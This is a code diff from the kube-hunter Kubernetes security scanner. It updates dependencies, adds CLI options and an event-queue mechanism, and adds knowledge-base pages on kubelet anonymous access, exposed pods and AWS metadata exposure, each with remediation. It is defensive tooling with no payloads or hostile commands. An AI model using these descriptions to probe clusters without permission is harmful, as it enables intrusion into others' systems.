||||
jekyll (~> 3.5)
|
||||
jekyll-theme-hacker (0.1.2)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-leap-day (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
@@ -171,8 +175,8 @@ GEM
|
||||
jekyll-theme-modernist (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-primer (0.5.3)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-primer (0.5.4)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-github-metadata (~> 2.9)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-slate (0.1.1)
|
||||
@@ -184,43 +188,49 @@ GEM
|
||||
jekyll-theme-time-machine (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-titles-from-headings (0.5.1)
|
||||
jekyll (~> 3.3)
|
||||
jekyll-titles-from-headings (0.5.3)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
jekyll-watch (2.2.1)
|
||||
listen (~> 3.0)
|
||||
jemoji (0.10.2)
|
||||
jemoji (0.12.0)
|
||||
gemoji (~> 3.0)
|
||||
html-pipeline (~> 2.2)
|
||||
jekyll (~> 3.0)
|
||||
kramdown (1.17.0)
|
||||
liquid (4.0.0)
|
||||
listen (3.1.5)
|
||||
rb-fsevent (~> 0.9, >= 0.9.4)
|
||||
rb-inotify (~> 0.9, >= 0.9.7)
|
||||
ruby_dep (~> 1.2)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
kramdown (2.3.0)
|
||||
rexml (>= 3.2.5)
|
||||
kramdown-parser-gfm (1.1.0)
|
||||
kramdown (>= 2.3.1)
|
||||
liquid (4.0.3)
|
||||
listen (3.4.0)
|
||||
rb-fsevent (~> 0.10, >= 0.10.3)
|
||||
rb-inotify (~> 0.9, >= 0.9.10)
|
||||
mercenary (0.3.6)
|
||||
mini_portile2 (2.4.0)
|
||||
minima (2.5.0)
|
||||
jekyll (~> 3.5)
|
||||
mini_portile2 (2.5.0)
|
||||
minima (2.5.1)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.12.2)
|
||||
minitest (5.14.3)
|
||||
multipart-post (2.1.1)
|
||||
nokogiri (1.10.8)
|
||||
mini_portile2 (~> 2.4.0)
|
||||
octokit (4.14.0)
|
||||
nokogiri (>= 1.11.4)
|
||||
mini_portile2 (~> 2.5.0)
|
||||
racc (~> 1.4)
|
||||
octokit (4.20.0)
|
||||
faraday (>= 0.9)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
pathutil (0.16.2)
|
||||
forwardable-extended (~> 2.6)
|
||||
public_suffix (3.1.1)
|
||||
rb-fsevent (0.10.3)
|
||||
rb-inotify (0.10.0)
|
||||
racc (1.5.2)
|
||||
rb-fsevent (0.10.4)
|
||||
rb-inotify (0.10.1)
|
||||
ffi (~> 1.0)
|
||||
rouge (3.11.0)
|
||||
ruby-enum (0.7.2)
|
||||
rexml (3.2.4)
|
||||
rouge (3.23.0)
|
||||
ruby-enum (0.8.0)
|
||||
i18n
|
||||
ruby_dep (1.5.0)
|
||||
rubyzip (2.0.0)
|
||||
ruby2_keywords (0.0.2)
|
||||
rubyzip (2.3.0)
|
||||
safe_yaml (1.0.5)
|
||||
sass (3.7.4)
|
||||
sass-listen (~> 4.0.0)
|
||||
@@ -230,14 +240,20 @@ GEM
|
||||
sawyer (0.8.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (> 0.8, < 2.0)
|
||||
simpleidn (0.1.1)
|
||||
unf (~> 0.1.4)
|
||||
terminal-table (1.8.0)
|
||||
unicode-display_width (~> 1.1, >= 1.1.1)
|
||||
thread_safe (0.3.6)
|
||||
typhoeus (1.3.1)
|
||||
typhoeus (1.4.0)
|
||||
ethon (>= 0.9.0)
|
||||
tzinfo (1.2.5)
|
||||
tzinfo (1.2.9)
|
||||
thread_safe (~> 0.1)
|
||||
unicode-display_width (1.6.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.7.7)
|
||||
unicode-display_width (1.7.0)
|
||||
zeitwerk (2.4.2)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -247,4 +263,4 @@ DEPENDENCIES
|
||||
jekyll-sitemap
|
||||
|
||||
BUNDLED WITH
|
||||
1.17.2
|
||||
2.2.5
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
---
|
||||
title: kube-hunter
|
||||
description: Kube-hunter hunts for security weaknesses in Kubernetes clusters
|
||||
logo: https://raw.githubusercontent.com/aquasecurity/kube-hunter/master/kube-hunter.png
|
||||
logo: https://raw.githubusercontent.com/aquasecurity/kube-hunter/main/kube-hunter.png
|
||||
show_downloads: false
|
||||
google_analytics: UA-63272154-1
|
||||
theme: jekyll-theme-minimal
|
||||
@@ -10,7 +11,7 @@ collections:
|
||||
defaults:
|
||||
-
|
||||
scope:
|
||||
path: "" # an empty string here means all files in the project
|
||||
path: "" # an empty string here means all files in the project
|
||||
values:
|
||||
layout: "default"
|
||||
|
||||
|
||||
@@ -12,7 +12,10 @@ Microsoft Azure provides an internal HTTP endpoint that exposes information from
|
||||
|
||||
## Remediation
|
||||
|
||||
Consider using AAD Pod Identity. A Microsoft project that allows scoping the identity of workloads to Kubernetes Pods instead of VMs (instances).
|
||||
Starting in the 2020.10.15 Azure VHD Release, AKS restricts the pod CIDR access to that internal HTTP endpoint.
|
||||
|
||||
[CVE-2021-27075](https://github.com/Azure/AKS/issues/2168)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ Kubernetes API was accessed with Pod Service Account or without Authentication (
|
||||
|
||||
## Remediation
|
||||
|
||||
Secure acess to your Kubernetes API.
|
||||
Secure access to your Kubernetes API.
|
||||
|
||||
It is recommended to explicitly specify a Service Account for all of your workloads (`serviceAccountName` in `Pod.Spec`), and manage their permissions according to the least privilege principal.
|
||||
|
||||
@@ -21,4 +21,4 @@ Consider opting out automatic mounting of SA token using `automountServiceAccoun
|
||||
|
||||
## References
|
||||
|
||||
- [Configure Service Accounts for Pods](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)
|
||||
- [Configure Service Accounts for Pods](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)
|
||||
|
||||
40
docs/_kb/KHV051.md
Normal file
40
docs/_kb/KHV051.md
Normal file
@@ -0,0 +1,40 @@
|
||||
---
|
||||
vid: KHV051
|
||||
title: Exposed Existing Privileged Containers Via Secure Kubelet Port
|
||||
categories: [Access Risk]
|
||||
---
|
||||
|
||||
# {{ page.vid }} - {{ page.title }}
|
||||
|
||||
## Issue description
|
||||
|
||||
The kubelet is configured to allow anonymous (unauthenticated) requests to its HTTPs API. This may expose certain information and capabilities to an attacker with access to the kubelet API.
|
||||
|
||||
A privileged container is given access to all devices on the host and can work at the kernel level. It is declared using the `Pod.spec.containers[].securityContext.privileged` attribute. This may be useful for infrastructure containers that perform setup work on the host, but is a dangerous attack vector.
|
||||
|
||||
Furthermore, if the kubelet **and** the API server authentication mechanisms are (mis)configured such that anonymous requests can execute commands via the API within the containers (specifically privileged ones), a malicious actor can leverage such capabilities to do way more damage in the cluster than expected: e.g. start/modify process on host.
|
||||
|
||||
## Remediation
|
||||
|
||||
Ensure kubelet is protected using `--anonymous-auth=false` kubelet flag. Allow only legitimate users using `--client-ca-file` or `--authentication-token-webhook` kubelet flags. This is usually done by the installer or cloud provider.
|
||||
|
||||
Minimize the use of privileged containers.
|
||||
|
||||
Use Pod Security Policies to enforce using `privileged: false` policy.
|
||||
|
||||
Review the RBAC permissions to Kubernetes API server for the anonymous and default service account, including bindings.
|
||||
|
||||
Ensure node(s) runs active filesystem monitoring.
|
||||
|
||||
Set `--insecure-port=0` and remove `--insecure-bind-address=0.0.0.0` in the Kubernetes API server config.
|
||||
|
||||
Remove `AlwaysAllow` from `--authorization-mode` in the Kubernetes API server config. Alternatively, set `--anonymous-auth=false` in the Kubernetes API server config; this will depend on the API server version running.
|
||||
|
||||
## References
|
||||
|
||||
- [Kubelet authentication/authorization](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)
|
||||
- [Privileged mode for pod containers](https://kubernetes.io/docs/concepts/workloads/pods/pod/#privileged-mode-for-pod-containers)
|
||||
- [Pod Security Policies - Privileged](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged)
|
||||
- [Using RBAC Authorization](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)
|
||||
- [KHV005 - Access to Kubernetes API]({{ site.baseurl }}{% link _kb/KHV005.md %})
|
||||
- [KHV036 - Anonymous Authentication]({{ site.baseurl }}{% link _kb/KHV036.md %})
|
||||
23
docs/_kb/KHV052.md
Normal file
23
docs/_kb/KHV052.md
Normal file
@@ -0,0 +1,23 @@
|
||||
---
|
||||
vid: KHV052
|
||||
title: Exposed Pods
|
||||
categories: [Information Disclosure]
|
||||
---
|
||||
|
||||
# {{ page.vid }} - {{ page.title }}
|
||||
|
||||
## Issue description
|
||||
|
||||
An attacker could view sensitive information about pods that are bound to a Node using the exposed /pods endpoint
|
||||
This can be done either by accessing the readonly port (default 10255), or from the secure kubelet port (10250)
|
||||
|
||||
## Remediation
|
||||
|
||||
Ensure kubelet is protected using `--anonymous-auth=false` kubelet flag. Allow only legitimate users using `--client-ca-file` or `--authentication-token-webhook` kubelet flags. This is usually done by the installer or cloud provider.
|
||||
|
||||
Disable the readonly port by using `--read-only-port=0` kubelet flag.
|
||||
|
||||
## References
|
||||
|
||||
- [Kubelet configuration](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)
|
||||
- [Kubelet authentication/authorization](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)
|
||||
24
docs/_kb/KHV053.md
Normal file
24
docs/_kb/KHV053.md
Normal file
@@ -0,0 +1,24 @@
|
||||
---
|
||||
vid: KHV053
|
||||
title: AWS Metadata Exposure
|
||||
categories: [Information Disclosure]
|
||||
---
|
||||
|
||||
# {{ page.vid }} - {{ page.title }}
|
||||
|
||||
## Issue description
|
||||
|
||||
AWS EC2 provides an internal HTTP endpoint that exposes information from the cloud platform to workloads running in an instance. The endpoint is accessible to every workload running in the instance. An attacker that is able to execute a pod in the cluster may be able to query the metadata service and discover additional information about the environment.
|
||||
|
||||
## Remediation
|
||||
|
||||
* Limit access to the instance metadata service. Consider using a local firewall such as `iptables` to disable access from some or all processes/users to the instance metadata service.
|
||||
|
||||
* Disable the metadata service (via instance metadata options or IAM), or at a minimum enforce the use IMDSv2 on an instance to require token-based access to the service.
|
||||
|
||||
* Modify the HTTP PUT response hop limit on the instance to 1. This will only allow access to the service from the instance itself rather than from within a pod.
|
||||
|
||||
## References
|
||||
|
||||
- [AWS Instance Metadata service](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html)
|
||||
- [EC2 Instance Profiles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html)
|
||||
9
job.yaml
9
job.yaml
@@ -1,3 +1,4 @@
|
||||
---
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
@@ -6,9 +7,9 @@ spec:
|
||||
template:
|
||||
spec:
|
||||
containers:
|
||||
- name: kube-hunter
|
||||
image: aquasec/kube-hunter
|
||||
command: ["python", "kube-hunter.py"]
|
||||
args: ["--pod"]
|
||||
- name: kube-hunter
|
||||
image: aquasec/kube-hunter
|
||||
command: ["kube-hunter"]
|
||||
args: ["--pod"]
|
||||
restartPolicy: Never
|
||||
backoffLimit: 4
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 144 KiB After Width: | Height: | Size: 230 KiB |
BIN
kube-hunter.png
BIN
kube-hunter.png
Binary file not shown.
|
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 19 KiB |
@@ -8,22 +8,33 @@ from kube_hunter.conf import Config, set_config
|
||||
from kube_hunter.conf.parser import parse_args
|
||||
from kube_hunter.conf.logging import setup_logger
|
||||
|
||||
args = parse_args()
|
||||
from kube_hunter.plugins import initialize_plugin_manager
|
||||
|
||||
pm = initialize_plugin_manager()
|
||||
# Using a plugin hook for adding arguments before parsing
|
||||
args = parse_args(add_args_hook=pm.hook.parser_add_arguments)
|
||||
config = Config(
|
||||
active=args.active,
|
||||
cidr=args.cidr,
|
||||
include_patched_versions=args.include_patched_versions,
|
||||
interface=args.interface,
|
||||
log_file=args.log_file,
|
||||
mapping=args.mapping,
|
||||
network_timeout=args.network_timeout,
|
||||
pod=args.pod,
|
||||
quick=args.quick,
|
||||
remote=args.remote,
|
||||
statistics=args.statistics,
|
||||
k8s_auto_discover_nodes=args.k8s_auto_discover_nodes,
|
||||
service_account_token=args.service_account_token,
|
||||
kubeconfig=args.kubeconfig,
|
||||
)
|
||||
setup_logger(args.log)
|
||||
setup_logger(args.log, args.log_file)
|
||||
set_config(config)
|
||||
|
||||
# Running all other registered plugins before execution
|
||||
pm.hook.load_plugin(args=args)
|
||||
|
||||
from kube_hunter.core.events import handler
|
||||
from kube_hunter.core.events.types import HuntFinished, HuntStarted
|
||||
from kube_hunter.modules.discovery.hosts import RunningAsPodEvent, HostScanEvent
|
||||
@@ -65,13 +76,13 @@ def list_hunters():
|
||||
print("\nPassive Hunters:\n----------------")
|
||||
for hunter, docs in handler.passive_hunters.items():
|
||||
name, doc = hunter.parse_docs(docs)
|
||||
print("* {}\n {}\n".format(name, doc))
|
||||
print(f"* {name}\n {doc}\n")
|
||||
|
||||
if config.active:
|
||||
print("\n\nActive Hunters:\n---------------")
|
||||
for hunter, docs in handler.active_hunters.items():
|
||||
name, doc = hunter.parse_docs(docs)
|
||||
print("* {}\n {}\n".format(name, doc))
|
||||
print(f"* {name}\n {doc}\n")
|
||||
|
||||
|
||||
hunt_started_lock = threading.Lock()
|
||||
@@ -80,7 +91,7 @@ hunt_started = False
|
||||
|
||||
def main():
|
||||
global hunt_started
|
||||
scan_options = [config.pod, config.cidr, config.remote, config.interface]
|
||||
scan_options = [config.pod, config.cidr, config.remote, config.interface, config.k8s_auto_discover_nodes]
|
||||
try:
|
||||
if args.list:
|
||||
list_hunters()
|
||||
|
||||
@@ -4,7 +4,7 @@ from typing import Any, Optional
|
||||
|
||||
@dataclass
|
||||
class Config:
|
||||
""" Config is a configuration container.
|
||||
"""Config is a configuration container.
|
||||
It contains the following fields:
|
||||
- active: Enable active hunters
|
||||
- cidr: Network subnets to scan
|
||||
@@ -13,6 +13,7 @@ class Config:
|
||||
- interface: Interface scanning mode
|
||||
- list_hunters: Print a list of existing hunters
|
||||
- log_level: Log level
|
||||
- log_file: Log File path
|
||||
- mapping: Report only found components
|
||||
- network_timeout: Timeout for network operations
|
||||
- pod: From pod scanning mode
|
||||
@@ -27,6 +28,7 @@ class Config:
|
||||
dispatcher: Optional[Any] = None
|
||||
include_patched_versions: bool = False
|
||||
interface: bool = False
|
||||
log_file: Optional[str] = None
|
||||
mapping: bool = False
|
||||
network_timeout: float = 5.0
|
||||
pod: bool = False
|
||||
@@ -34,6 +36,9 @@ class Config:
|
||||
remote: Optional[str] = None
|
||||
reporter: Optional[Any] = None
|
||||
statistics: bool = False
|
||||
k8s_auto_discover_nodes: bool = False
|
||||
service_account_token: Optional[str] = None
|
||||
kubeconfig: Optional[str] = None
|
||||
|
||||
|
||||
_config: Optional[Config] = None
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
import logging
|
||||
|
||||
|
||||
DEFAULT_LEVEL = logging.INFO
|
||||
DEFAULT_LEVEL_NAME = logging.getLevelName(DEFAULT_LEVEL)
|
||||
LOG_FORMAT = "%(asctime)s %(levelname)s %(name)s %(message)s"
|
||||
@@ -10,7 +9,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.CRITICAL)
|
||||
logging.getLogger("scapy.loading").setLevel(logging.CRITICAL)
|
||||
|
||||
|
||||
def setup_logger(level_name):
|
||||
def setup_logger(level_name, logfile):
|
||||
# Remove any existing handlers
|
||||
# Unnecessary in Python 3.8 since `logging.basicConfig` has `force` parameter
|
||||
for h in logging.getLogger().handlers[:]:
|
||||
@@ -22,6 +21,9 @@ def setup_logger(level_name):
|
||||
else:
|
||||
log_level = getattr(logging, level_name.upper(), None)
|
||||
log_level = log_level if isinstance(log_level, int) else None
|
||||
logging.basicConfig(level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
|
||||
if logfile is None:
|
||||
logging.basicConfig(level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
|
||||
else:
|
||||
logging.basicConfig(filename=logfile, level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
|
||||
if not log_level:
|
||||
logging.warning(f"Unknown log level '{level_name}', using {DEFAULT_LEVEL_NAME}")
|
||||
|
||||
@@ -1,11 +1,17 @@
|
||||
from argparse import ArgumentParser
|
||||
from kube_hunter.plugins import hookimpl
|
||||
|
||||
|
||||
def parse_args():
|
||||
parser = ArgumentParser(description="kube-hunter - hunt for security weaknesses in Kubernetes clusters")
|
||||
|
||||
@hookimpl
|
||||
def parser_add_arguments(parser):
|
||||
"""
|
||||
This is the default hook implementation for parse_add_argument
|
||||
Contains initialization for all default arguments
|
||||
"""
|
||||
parser.add_argument(
|
||||
"--list", action="store_true", help="Displays all tests in kubehunter (add --active flag to see active tests)",
|
||||
"--list",
|
||||
action="store_true",
|
||||
help="Displays all tests in kubehunter (add --active flag to see active tests)",
|
||||
)
|
||||
|
||||
parser.add_argument("--interface", action="store_true", help="Set hunting on all network interfaces")
|
||||
@@ -15,7 +21,9 @@ def parse_args():
|
||||
parser.add_argument("--quick", action="store_true", help="Prefer quick scan (subnet 24)")
|
||||
|
||||
parser.add_argument(
|
||||
"--include-patched-versions", action="store_true", help="Don't skip patched versions when scanning",
|
||||
"--include-patched-versions",
|
||||
action="store_true",
|
||||
help="Don't skip patched versions when scanning",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
@@ -25,11 +33,45 @@ def parse_args():
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--mapping", action="store_true", help="Outputs only a mapping of the cluster's nodes",
|
||||
"--mapping",
|
||||
action="store_true",
|
||||
help="Outputs only a mapping of the cluster's nodes",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--remote", nargs="+", metavar="HOST", default=list(), help="One or more remote ip/dns to hunt",
|
||||
"--remote",
|
||||
nargs="+",
|
||||
metavar="HOST",
|
||||
default=list(),
|
||||
help="One or more remote ip/dns to hunt",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--k8s-auto-discover-nodes",
|
||||
action="store_true",
|
||||
help="Enables automatic detection of all nodes in a Kubernetes cluster "
|
||||
"by quering the Kubernetes API server. "
|
||||
"It supports both in-cluster config (when running as a pod), "
|
||||
"and a specific kubectl config file (use --kubeconfig to set this). "
|
||||
"By default, when this flag is set, it will use in-cluster config. "
|
||||
"NOTE: this is automatically switched on in --pod mode.",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--service-account-token",
|
||||
type=str,
|
||||
metavar="JWT_TOKEN",
|
||||
help="Manually specify the service account jwt token to use for authenticating in the hunting process "
|
||||
"NOTE: This overrides the loading of the pod's bounded authentication when running in --pod mode",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--kubeconfig",
|
||||
type=str,
|
||||
metavar="KUBECONFIG",
|
||||
default=None,
|
||||
help="Specify the kubeconfig file to use for Kubernetes nodes auto discovery "
|
||||
" (to be used in conjuction with the --k8s-auto-discover-nodes flag.",
|
||||
)
|
||||
|
||||
parser.add_argument("--active", action="store_true", help="Enables active hunting")
|
||||
@@ -43,7 +85,17 @@ def parse_args():
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--report", type=str, default="plain", help="Set report type, options are: plain, yaml, json",
|
||||
"--log-file",
|
||||
type=str,
|
||||
default=None,
|
||||
help="Path to a log file to output all logs to",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--report",
|
||||
type=str,
|
||||
default="plain",
|
||||
help="Set report type, options are: plain, yaml, json",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
@@ -59,6 +111,18 @@ def parse_args():
|
||||
|
||||
parser.add_argument("--network-timeout", type=float, default=5.0, help="network operations timeout")
|
||||
|
||||
|
||||
def parse_args(add_args_hook):
|
||||
"""
|
||||
Function handles all argument parsing
|
||||
|
||||
@param add_arguments: hook for adding arguments to it's given ArgumentParser parameter
|
||||
@return: parsed arguments dict
|
||||
"""
|
||||
parser = ArgumentParser(description="kube-hunter - hunt for security weaknesses in Kubernetes clusters")
|
||||
# adding all arguments to the parser
|
||||
add_args_hook(parser=parser)
|
||||
|
||||
args = parser.parse_args()
|
||||
if args.cidr:
|
||||
args.cidr = args.cidr.replace(" ", "").split(",")
|
||||
|
||||
@@ -6,7 +6,7 @@ from threading import Thread
|
||||
|
||||
from kube_hunter.conf import get_config
|
||||
from kube_hunter.core.types import ActiveHunter, HunterBase
|
||||
from kube_hunter.core.events.types import Vulnerability, EventFilterBase
|
||||
from kube_hunter.core.events.types import Vulnerability, EventFilterBase, MultipleEventsContainer
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -14,16 +14,38 @@ logger = logging.getLogger(__name__)
|
||||
# Inherits Queue object, handles events asynchronously
|
||||
class EventQueue(Queue):
|
||||
def __init__(self, num_worker=10):
|
||||
super(EventQueue, self).__init__()
|
||||
super().__init__()
|
||||
self.passive_hunters = dict()
|
||||
self.active_hunters = dict()
|
||||
self.all_hunters = dict()
|
||||
|
||||
self.hooks = defaultdict(list)
|
||||
self.filters = defaultdict(list)
|
||||
self.running = True
|
||||
self.workers = list()
|
||||
|
||||
# -- Regular Subscription --
|
||||
# Structure: key: Event Class, value: tuple(Registered Hunter, Predicate Function)
|
||||
self.hooks = defaultdict(list)
|
||||
self.filters = defaultdict(list)
|
||||
# --------------------------
|
||||
|
||||
# -- Multiple Subscription --
|
||||
# Structure: key: Event Class, value: tuple(Registered Hunter, Predicate Function)
|
||||
self.multi_hooks = defaultdict(list)
|
||||
|
||||
# When subscribing to multiple events, this gets populated with required event classes
|
||||
# Structure: key: Hunter Class, value: set(RequiredEventClass1, RequiredEventClass2)
|
||||
self.hook_dependencies = defaultdict(set)
|
||||
|
||||
# To keep track of fulfilled dependencies. we need to have a structure which saves historical instanciated
|
||||
# events mapped to a registered hunter.
|
||||
# We used a 2 dimensional dictionary in order to fulfill two demands:
|
||||
# * correctly count published required events
|
||||
# * save historical events fired, easily sorted by their type
|
||||
#
|
||||
# Structure: hook_fulfilled_deps[hunter_class] -> fulfilled_events_for_hunter[event_class] -> [EventObject, EventObject2]
|
||||
self.hook_fulfilled_deps = defaultdict(lambda: defaultdict(list))
|
||||
# ---------------------------
|
||||
|
||||
for _ in range(num_worker):
|
||||
t = Thread(target=self.worker)
|
||||
t.daemon = True
|
||||
@@ -34,16 +56,66 @@ class EventQueue(Queue):
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
# decorator wrapping for easy subscription
|
||||
"""
|
||||
######################################################
|
||||
+ ----------------- Public Methods ----------------- +
|
||||
######################################################
|
||||
"""
|
||||
|
||||
def subscribe(self, event, hook=None, predicate=None):
|
||||
"""
|
||||
The Subscribe Decorator - For Regular Registration
|
||||
Use this to register for one event only. Your hunter will execute each time this event is published
|
||||
|
||||
@param event - Event class to subscribe to
|
||||
@param predicate - Optional: Function that will be called with the published event as a parameter before trigger.
|
||||
If it's return value is False, the Hunter will not run (default=None).
|
||||
@param hook - Hunter class to register for (ignore when using as a decorator)
|
||||
"""
|
||||
|
||||
def wrapper(hook):
|
||||
self.subscribe_event(event, hook=hook, predicate=predicate)
|
||||
return hook
|
||||
|
||||
return wrapper
|
||||
|
||||
# wrapper takes care of the subscribe once mechanism
|
||||
def subscribe_many(self, events, hook=None, predicates=None):
|
||||
"""
|
||||
The Subscribe Many Decorator - For Multiple Registration,
|
||||
When your attack needs several prerequisites to exist in the cluster, You need to register for multiple events.
|
||||
Your hunter will execute once for every new combination of required events.
|
||||
For example:
|
||||
1. event A was published 3 times
|
||||
2. event B was published once.
|
||||
3. event B was published again
|
||||
Your hunter will execute 2 times:
|
||||
* (on step 2) with the newest version of A
|
||||
* (on step 3) with the newest version of A and newest version of B
|
||||
|
||||
@param events - List of event classes to subscribe to
|
||||
@param predicates - Optional: List of function that will be called with the published event as a parameter before trigger.
|
||||
If it's return value is False, the Hunter will not run (default=None).
|
||||
@param hook - Hunter class to register for (ignore when using as a decorator)
|
||||
"""
|
||||
|
||||
def wrapper(hook):
|
||||
self.subscribe_events(events, hook=hook, predicates=predicates)
|
||||
return hook
|
||||
|
||||
return wrapper
|
||||
|
||||
def subscribe_once(self, event, hook=None, predicate=None):
|
||||
"""
|
||||
The Subscribe Once Decorator - For Single Trigger Registration,
|
||||
Use this when you want your hunter to execute only in your entire program run
|
||||
wraps subscribe_event method
|
||||
|
||||
@param events - List of event classes to subscribe to
|
||||
@param predicates - Optional: List of function that will be called with the published event as a parameter before trigger.
|
||||
If it's return value is False, the Hunter will not run (default=None).
|
||||
@param hook - Hunter class to register for (ignore when using as a decorator)
|
||||
"""
|
||||
|
||||
def wrapper(hook):
|
||||
# installing a __new__ magic method on the hunter
|
||||
# which will remove the hunter from the list upon creation
|
||||
@@ -58,29 +130,160 @@ class EventQueue(Queue):
|
||||
|
||||
return wrapper
|
||||
|
||||
# getting uninstantiated event object
|
||||
def subscribe_event(self, event, hook=None, predicate=None):
|
||||
def publish_event(self, event, caller=None):
|
||||
"""
|
||||
The Publish Event Method - For Publishing Events To Kube-Hunter's Queue
|
||||
"""
|
||||
# Document that the hunter published a vulnerability (if it's indeed a vulnerability)
|
||||
# For statistics options
|
||||
self._increase_vuln_count(event, caller)
|
||||
|
||||
# sets the event's parent to be it's publisher hunter.
|
||||
self._set_event_chain(event, caller)
|
||||
|
||||
# applying filters on the event, before publishing it to subscribers.
|
||||
# if filter returned None, not proceeding to publish
|
||||
event = self.apply_filters(event)
|
||||
if event:
|
||||
# If event was rewritten, make sure it's linked again
|
||||
self._set_event_chain(event, caller)
|
||||
|
||||
# Regular Hunter registrations - publish logic
|
||||
# Here we iterate over all the registered-to events:
|
||||
for hooked_event in self.hooks.keys():
|
||||
# We check if the event we want to publish is an inherited class of the current registered-to iterated event
|
||||
# Meaning - if this is a relevant event:
|
||||
if hooked_event in event.__class__.__mro__:
|
||||
# If so, we want to publish to all registerd hunters.
|
||||
for hook, predicate in self.hooks[hooked_event]:
|
||||
if predicate and not predicate(event):
|
||||
continue
|
||||
|
||||
self.put(hook(event))
|
||||
logger.debug(f"Event {event.__class__} got published to hunter - {hook} with {event}")
|
||||
|
||||
# Multiple Hunter registrations - publish logic
|
||||
# Here we iterate over all the registered-to events:
|
||||
for hooked_event in self.multi_hooks.keys():
|
||||
# We check if the event we want to publish is an inherited class of the current registered-to iterated event
|
||||
# Meaning - if this is a relevant event:
|
||||
if hooked_event in event.__class__.__mro__:
|
||||
# now we iterate over the corresponding registered hunters.
|
||||
for hook, predicate in self.multi_hooks[hooked_event]:
|
||||
if predicate and not predicate(event):
|
||||
continue
|
||||
|
||||
self._update_multi_hooks(hook, event)
|
||||
|
||||
if self._is_all_fulfilled_for_hunter(hook):
|
||||
events_container = MultipleEventsContainer(self._get_latest_events_from_multi_hooks(hook))
|
||||
self.put(hook(events_container))
|
||||
logger.debug(
|
||||
f"Multiple subscription requirements were met for hunter {hook}. events container was \
|
||||
published with {self.hook_fulfilled_deps[hook].keys()}"
|
||||
)
|
||||
|
||||
"""
|
||||
######################################################
|
||||
+ ---------------- Private Methods ----------------- +
|
||||
+ ---------------- (Backend Logic) ----------------- +
|
||||
######################################################
|
||||
"""
|
||||
|
||||
def _get_latest_events_from_multi_hooks(self, hook):
|
||||
"""
|
||||
Iterates over fulfilled deps for the hunter, and fetching the latest appended events from history
|
||||
"""
|
||||
latest_events = list()
|
||||
for event_class in self.hook_fulfilled_deps[hook].keys():
|
||||
latest_events.append(self.hook_fulfilled_deps[hook][event_class][-1])
|
||||
return latest_events
|
||||
|
||||
def _update_multi_hooks(self, hook, event):
|
||||
"""
|
||||
Updates published events in the multi hooks fulfilled store.
|
||||
"""
|
||||
self.hook_fulfilled_deps[hook][event.__class__].append(event)
|
||||
|
||||
def _is_all_fulfilled_for_hunter(self, hook):
|
||||
"""
|
||||
Returns true for multi hook fulfilled, else oterwise
|
||||
"""
|
||||
# Check if the first dimension already contains all necessary event classes
|
||||
return len(self.hook_fulfilled_deps[hook].keys()) == len(self.hook_dependencies[hook])
|
||||
|
||||
def _set_event_chain(self, event, caller):
|
||||
"""
|
||||
Sets' events attribute chain.
|
||||
In here we link the event with it's publisher (Hunter),
|
||||
so in the next hunter that catches this event, we could access the previous one's attributes.
|
||||
|
||||
@param event: the event object to be chained
|
||||
@param caller: the Hunter object that published this event.
|
||||
"""
|
||||
if caller:
|
||||
event.previous = caller.event
|
||||
event.hunter = caller.__class__
|
||||
|
||||
def _register_hunters(self, hook=None):
|
||||
"""
|
||||
This method is called when a Hunter registers itself to the handler.
|
||||
this is done in order to track and correctly configure the current run of the program.
|
||||
|
||||
passive_hunters, active_hunters, all_hunters
|
||||
"""
|
||||
config = get_config()
|
||||
if ActiveHunter in hook.__mro__:
|
||||
if not config.active:
|
||||
return
|
||||
self.active_hunters[hook] = hook.__doc__
|
||||
return False
|
||||
else:
|
||||
